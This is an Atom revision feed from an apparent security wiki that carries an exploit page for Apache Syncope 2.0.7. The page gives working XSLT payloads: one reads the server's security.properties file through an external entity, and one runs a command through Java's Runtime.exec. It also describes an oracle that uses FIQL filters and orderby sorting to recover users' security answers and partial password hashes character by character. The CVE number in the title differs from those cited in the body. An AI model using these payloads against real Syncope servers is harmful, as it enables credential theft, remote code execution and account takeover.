<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2018-1332_Apache_Syncope_2.0.7_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E</id>
	<title>CVE-2018-1332 Apache Syncope 2.0.7 遠程代碼執行漏洞 - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2018-1332_Apache_Syncope_2.0.7_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2018-1332_Apache_Syncope_2.0.7_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;action=history"/>
	<updated>2026-04-16T06:42:26Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=CVE-2018-1332_Apache_Syncope_2.0.7_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;diff=678&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;==EXP== &lt;pre&gt; # Exploit Title: Apache Syncope 2.0.7 - Remote Code Execution # Date: 2018-09-12 # Exploit Author: Che-Chun Kuo # Vendor Homepage: https://syncope.apache.org/ #...&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2018-1332_Apache_Syncope_2.0.7_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;diff=678&amp;oldid=prev"/>
		<updated>2021-03-27T02:44:14Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;==EXP== &amp;lt;pre&amp;gt; # Exploit Title: Apache Syncope 2.0.7 - Remote Code Execution # Date: 2018-09-12 # Exploit Author: Che-Chun Kuo # Vendor Homepage: https://syncope.apache.org/ #...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;==EXP==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# Exploit Title: Apache Syncope 2.0.7 - Remote Code Execution&lt;br /&gt;
# Date: 2018-09-12&lt;br /&gt;
# Exploit Author: Che-Chun Kuo&lt;br /&gt;
# Vendor Homepage: https://syncope.apache.org/&lt;br /&gt;
# Software Link: http://archive.apache.org/dist/syncope/&lt;br /&gt;
# Version: 2.0.7&lt;br /&gt;
# Tested on: Windows&lt;br /&gt;
# Advisory: https://syncope.apache.org/security&lt;br /&gt;
# CVE: CVE-2018-1321, CVE-2018-1322&lt;br /&gt;
 &lt;br /&gt;
# Vulnerability 1: Remote code execution by users with report and template privileges&lt;br /&gt;
# Description: A user with access to the Reports and Templates functionality can use XSL Transformations (XSLT) &lt;br /&gt;
# to perform malicious operations, including but not limited to file read, file write, and code execution. &lt;br /&gt;
 &lt;br /&gt;
# Apache Syncope uses XSLT to export report data into various formats. An attacker can perform malicious &lt;br /&gt;
# operations by crafting a XSL template, binding the template to a report, executing, then exporting the report. &lt;br /&gt;
# The following XSL can be used to read the Syncope security.properties file or execute the Windows &lt;br /&gt;
# calc program, respectively.  &lt;br /&gt;
 &lt;br /&gt;
READ security.properties file&lt;br /&gt;
-------------------------------------------&lt;br /&gt;
&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt;&lt;br /&gt;
&amp;lt;!DOCTYPE xsl:stylesheet [&amp;lt;!ENTITY file SYSTEM &amp;quot;..\webapps\syncope\WEB-INF\classes\security.properties&amp;quot;&amp;gt;]&amp;gt;&lt;br /&gt;
&amp;lt;xsl:stylesheet version=&amp;quot;1.0&amp;quot; &lt;br /&gt;
    xmlns:xsl=&amp;quot;http://www.w3.org/1999/XSL/Transform&amp;quot;&amp;gt;&lt;br /&gt;
    &amp;lt;xsl:template match=&amp;quot;/&amp;quot;&amp;gt;&amp;amp;file;&amp;lt;/xsl:template&amp;gt;&lt;br /&gt;
&amp;lt;/xsl:stylesheet&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
EXECUTE Windows calc program&lt;br /&gt;
-------------------------------------------&lt;br /&gt;
&amp;lt;xsl:stylesheet version=&amp;quot;1.0&amp;quot; &lt;br /&gt;
    xmlns:xsl=&amp;quot;http://www.w3.org/1999/XSL/Transform&amp;quot;&lt;br /&gt;
    xmlns:runtime=&amp;quot;http://xml.apache.org/xalan/java/java.lang.Runtime&amp;quot;&lt;br /&gt;
    xmlns:process=&amp;quot;http://xml.apache.org/xalan/java/java.lang.Process&amp;quot;&amp;gt;&lt;br /&gt;
    &amp;lt;xsl:variable name=&amp;quot;rtobject&amp;quot; select=&amp;quot;runtime:getRuntime()&amp;quot;/&amp;gt;&lt;br /&gt;
    &amp;lt;xsl:variable name=&amp;quot;process&amp;quot; select=&amp;quot;runtime:exec($rtobject,'calc')&amp;quot;/&amp;gt;&lt;br /&gt;
    &amp;lt;xsl:variable name=&amp;quot;waiting&amp;quot; select=&amp;quot;process:waitFor($process)&amp;quot;/&amp;gt;&lt;br /&gt;
    &amp;lt;xsl:value-of select=&amp;quot;$process&amp;quot;/&amp;gt;&lt;br /&gt;
&amp;lt;/xsl:stylesheet&amp;gt;&lt;br /&gt;
     &lt;br /&gt;
# Vulnerability 2: Information disclosure via FIQL and ORDER BY sorting&lt;br /&gt;
# Description: A user with entitlements to the /syncope/rest/users endpoint can recover sensitive &lt;br /&gt;
# security values using the fiql and orderby parameters. &lt;br /&gt;
 &lt;br /&gt;
# By default, Apache Syncope prevents sensitive values from being returned when querying &lt;br /&gt;
# the /syncope/rest/users endpoint. Fields such as securityAnswers or password will always return null. &lt;br /&gt;
# However the results returned can be filtered or sorted based on sensitive fields. By measuring how &lt;br /&gt;
# the results are returned the values of the desired fields can be successfully recovered. The fiql parameter &lt;br /&gt;
# can be used to recover full security answers, and the orderby parameter can be used to recover &lt;br /&gt;
# full security answers and partial information about password hashes. &lt;br /&gt;
 &lt;br /&gt;
# The fiql parameter allows filtering based on user attributes, including a user's security answer. &lt;br /&gt;
# By using FIQL filters (i.e. &amp;quot;securityAnswer==a*&amp;quot;, &amp;quot;securityAnswer==b*&amp;quot;, etc...) a user's &lt;br /&gt;
# securityAnswer can be recovered one letter at a time. &lt;br /&gt;
 &lt;br /&gt;
# The orderby parameter allows sorting based on user attributes, including a user's security &lt;br /&gt;
# answer and password. The following example shows how orderby sorting can be exploited. &lt;br /&gt;
 &lt;br /&gt;
# User Bob exists with the security answer &amp;quot;test&amp;quot;. A malicious user creates a user Alice with the &lt;br /&gt;
# security answer &amp;quot;ta&amp;quot;. The malicious actor then calls the /syncope/rest/users endpoint with orderby=securityAnswer&amp;quot;.&lt;br /&gt;
# By sorting using the &amp;quot;securityAnswer&amp;quot; attribute, the result will have Alice sorted ahead of Bob, &lt;br /&gt;
# due to the value &amp;quot;ta&amp;quot; being before the value &amp;quot;test&amp;quot;. By sequentially changing Alice's security &lt;br /&gt;
# question and comparing the sorted result, Bob's security answer can be recovered one letter &lt;br /&gt;
# at a time. A similar technique can be used to reveal partial information about user password hashes.&lt;br /&gt;
 &lt;br /&gt;
Orderby Example Results: &lt;br /&gt;
Alice's security answer, Order of results returned&lt;br /&gt;
ta, [Alice, Bob]&lt;br /&gt;
tb, [Alice, Bob]&lt;br /&gt;
tc, [Alice, Bob]&lt;br /&gt;
td, [Alice, Bob]&lt;br /&gt;
te, [Alice, Bob]&lt;br /&gt;
tf, [Bob, Alice]&lt;br /&gt;
tea, [Alice, Bob]&lt;br /&gt;
teb, [Alice, Bob]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>